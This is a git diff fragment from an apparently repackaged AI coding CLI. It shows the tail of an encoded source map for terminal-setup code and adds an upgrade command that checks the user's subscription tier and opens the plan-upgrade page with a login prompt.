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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/upgrade/upgrade.tsx b/_all-in-one-upload/cc-haha/src/commands/upgrade/upgrade.tsx
new file mode 100644
index 0000000..1daf73d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/upgrade/upgrade.tsx
@@ -0,0 +1,38 @@
+import * as React from 'react';
+import type { LocalJSXCommandContext } from '../../commands.js';
+import { getOauthProfileFromOauthToken } from '../../services/oauth/getOauthProfile.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+import { getClaudeAIOAuthTokens, isClaudeAISubscriber } from '../../utils/auth.js';
+import { openBrowser } from '../../utils/browser.js';
+import { logError } from '../../utils/log.js';
+import { Login } from '../login/login.js';
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext): Promise<React.ReactNode | null> {
+  try {
+    // Check if user is already on the highest Max plan (20x)
+    if (isClaudeAISubscriber()) {
+      const tokens = getClaudeAIOAuthTokens();
+      let isMax20x = false;
+      if (tokens?.subscriptionType && tokens?.rateLimitTier) {
+        isMax20x = tokens.subscriptionType === 'max' && tokens.rateLimitTier === 'default_claude_max_20x';
+      } else if (tokens?.accessToken) {
+        const profile = await getOauthProfileFromOauthToken(tokens.accessToken);
+        isMax20x = profile?.organization?.organization_type === 'claude_max' && profile?.organization?.rate_limit_tier === 'default_claude_max_20x';
+      }
+      if (isMax20x) {
+        setTimeout(onDone, 0, 'You are already on the highest Max subscription plan. For additional usage, run /login to switch to an API usage-billed account.');
+        return null;
+      }
+    }
+    const url = 'https://claude.ai/upgrade/max';
+    await openBrowser(url);
+    return <Login startingMessage={'Starting new login following /upgrade. Exit with Ctrl-C to use existing account.'} onDone={success => {
+      context.onChangeAPIKey();
+      onDone(success ? 'Login successful' : 'Login interrupted');
+    }} />;
+  } catch (error) {
+    logError(error as Error);
+    setTimeout(onDone, 0, 'Failed to open browser. Please visit https://claude.ai/upgrade/max to upgrade.');
+  }
+  return null;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkxvY2FsSlNYQ29tbWFuZENvbnRleHQiLCJnZXRPYXV0aFByb2ZpbGVGcm9tT2F1dGhUb2tlbiIsIkxvY2FsSlNYQ29tbWFuZE9uRG9uZSIsImdldENsYXVkZUFJT0F1dGhUb2tlbnMiLCJpc0NsYXVkZUFJU3Vic2NyaWJlciIsIm9wZW5Ccm93c2VyIiwibG9nRXJyb3IiLCJMb2dpbiIsImNhbGwiLCJvbkRvbmUiLCJjb250ZXh0IiwiUHJvbWlzZSIsIlJlYWN0Tm9kZSIsInRva2VucyIsImlzTWF4MjB4Iiwic3Vic2NyaXB0aW9uVHlwZSIsInJhdGVMaW1pdFRpZXIiLCJhY2Nlc3NUb2tlbiIsInByb2ZpbGUiLCJvcmdhbml6YXRpb24iLCJvcmdhbml6YXRpb25fdHlwZSIsInJhdGVfbGltaXRfdGllciIsInNldFRpbWVvdXQiLCJ1cmwiLCJzdWNjZXNzIiwib25DaGFuZ2VBUElLZXkiLCJlcnJvciIsIkVycm9yIl0sInNvdXJjZXMiOlsidXBncmFkZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZENvbnRleHQgfSBmcm9tICcuLi8uLi9jb21tYW5kcy5qcydcbmltcG9ydCB7IGdldE9hdXRoUHJvZmlsZUZyb21PYXV0aFRva2VuIH0gZnJvbSAnLi4vLi4vc2VydmljZXMvb2F1dGgvZ2V0T2F1dGhQcm9maWxlLmpzJ1xuaW1wb3J0IHR5cGUgeyBMb2NhbEpTWENvbW1hbmRPbkRvbmUgfSBmcm9tICcuLi8uLi90eXBlcy9jb21tYW5kLmpzJ1xuaW1wb3J0IH